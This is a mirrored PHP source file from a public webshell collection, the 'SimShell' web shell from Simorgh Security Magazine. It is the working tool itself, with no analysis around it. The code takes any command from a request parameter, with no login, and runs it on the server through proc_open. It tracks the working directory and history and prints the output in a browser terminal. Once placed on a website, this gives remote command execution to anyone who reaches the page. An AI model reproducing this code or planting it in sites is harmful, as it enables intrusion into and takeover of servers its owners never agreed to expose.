mirror of
https://github.com/tennc/webshell
synced 2024-11-26 05:00:18 +00:00
180 lines
5 KiB
Text
180 lines
5 KiB
Text
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<?php
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/*Simorgh Security Magazine */
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session_start();
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if (empty($_SESSION['cwd']) || !empty($_REQUEST['reset'])) {
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$_SESSION['cwd'] = getcwd();
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$_SESSION['history'] = array();
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$_SESSION['output'] = '';
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}
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if (!empty($_REQUEST['command'])) {
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if (get_magic_quotes_gpc()) {
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$_REQUEST['command'] = stripslashes($_REQUEST['command']);
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}
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if (($i = array_search($_REQUEST['command'], $_SESSION['history'])) !== false)
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unset($_SESSION['history'][$i]);
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array_unshift($_SESSION['history'], $_REQUEST['command']);
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$_SESSION['output'] .= '$ ' . $_REQUEST['command'] . "\n";
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if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $_REQUEST['command'])) {
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$_SESSION['cwd'] = dirname(__FILE__);
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} elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $_REQUEST['command'], $regs)) {
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if ($regs[1][0] == '/') {
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$new_dir = $regs[1];
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} else {
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$new_dir = $_SESSION['cwd'] . '/' . $regs[1];
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}
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while (strpos($new_dir, '/./') !== false)
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$new_dir = str_replace('/./', '/', $new_dir);
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while (strpos($new_dir, '//') !== false)
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$new_dir = str_replace('//', '/', $new_dir);
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while (preg_match('|/\.\.(?!\.)|', $new_dir))
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$new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir);
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if ($new_dir == '') $new_dir = '/';
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if (@chdir($new_dir)) {
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$_SESSION['cwd'] = $new_dir;
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} else {
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$_SESSION['output'] .= "cd: could not change to: $new_dir\n";
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}
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} else {
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chdir($_SESSION['cwd']);
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$length = strcspn($_REQUEST['command'], " \t");
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$token = substr($_REQUEST['command'], 0, $length);
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if (isset($aliases[$token]))
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$_REQUEST['command'] = $aliases[$token] . substr($_REQUEST['command'], $length);
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$p = proc_open($_REQUEST['command'],
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array(1 => array('pipe', 'w'),
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2 => array('pipe', 'w')),
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$io);
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while (!feof($io[1])) {
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$_SESSION['output'] .= htmlspecialchars(fgets($io[1]),
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ENT_COMPAT, 'UTF-8');
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}
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while (!feof($io[2])) {
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$_SESSION['output'] .= htmlspecialchars(fgets($io[2]),
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ENT_COMPAT, 'UTF-8');
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}
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fclose($io[1]);
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fclose($io[2]);
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proc_close($p);
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}
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}
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if (empty($_SESSION['history'])) {
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$js_command_hist = '""';
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} else {
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$escaped = array_map('addslashes', $_SESSION['history']);
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$js_command_hist = '"", "' . implode('", "', $escaped) . '"';
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}
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header('Content-Type: text/html; charset=UTF-8');
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echo '<?xml version="1.0" encoding="UTF-8"?>' . "\n";
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?>
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<head>
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<title>SimShell - Simorgh Security MGZ</title>
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<link rel="stylesheet" href="Simshell.css" type="text/css" />
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<script type="text/javascript" language="JavaScript">
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var current_line = 0;
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var command_hist = new Array(<?php echo $js_command_hist ?>);
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var last = 0;
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function key(e) {
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if (!e) var e = window.event;
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if (e.keyCode == 38 && current_line < command_hist.length-1) {
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command_hist[current_line] = document.shell.command.value;
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current_line++;
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document.shell.command.value = command_hist[current_line];
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}
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if (e.keyCode == 40 && current_line > 0) {
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command_hist[current_line] = document.shell.command.value;
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current_line--;
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document.shell.command.value = command_hist[current_line];
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}
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}
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function init() {
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document.shell.setAttribute("autocomplete", "off");
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document.shell.output.scrollTop = document.shell.output.scrollHeight;
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document.shell.command.focus();
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}
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</script>
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</head>
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<body onload="init()" style="color: #00FF00; background-color: #000000">
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<span style="background-color: #000000">
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</body>
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</body>
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</html>
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</span>
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<p><span style="background-color: #000000"> Directory: </span> <code>
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<span style="background-color: #000000"><?php echo $_SESSION['cwd'] ?></span></code></p>
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<form name="shell" action="<?php echo $_SERVER['PHP_SELF'] ?>" method="post">
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<div style="width: 900; height: 454">
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<textarea name="output" readonly="readonly" cols="120" rows="20" style="color: #CCFF33; border: 1px dashed #FF0000; background-color: #000000">
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<?php
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$lines = substr_count($_SESSION['output'], "\n");
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$padding = str_repeat("\n", max(0, $_REQUEST['rows']+1 - $lines));
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echo rtrim($padding . $_SESSION['output']);
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?>
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</textarea>
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<p class="prompt" align="justify">
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cmd:<input class="prompt" name="command" type="text"
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onkeyup="key(event)" size="60" tabindex="1" style="border: 1px dotted #808080">
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<input type="submit" value="Enter" /><input type="submit" name="reset" value="Reset" /> Rows:
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<input type="text" name="rows" value="<?php echo $_REQUEST['rows'] ?>" size="5" />
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</p>
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<p class="prompt" align="center">
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<br>
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<br>
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<font color="#C0C0C0" size="2">Copyright 2004-Simorgh Security<br>
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Make On PhpShell Kernel<br>
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<a href="http://www.simorgh-ev.com" style="text-decoration: none">
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<font color="#C0C0C0">www.simorgh-ev.com</font></a></font></p>
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</div>
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</form>
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</html>
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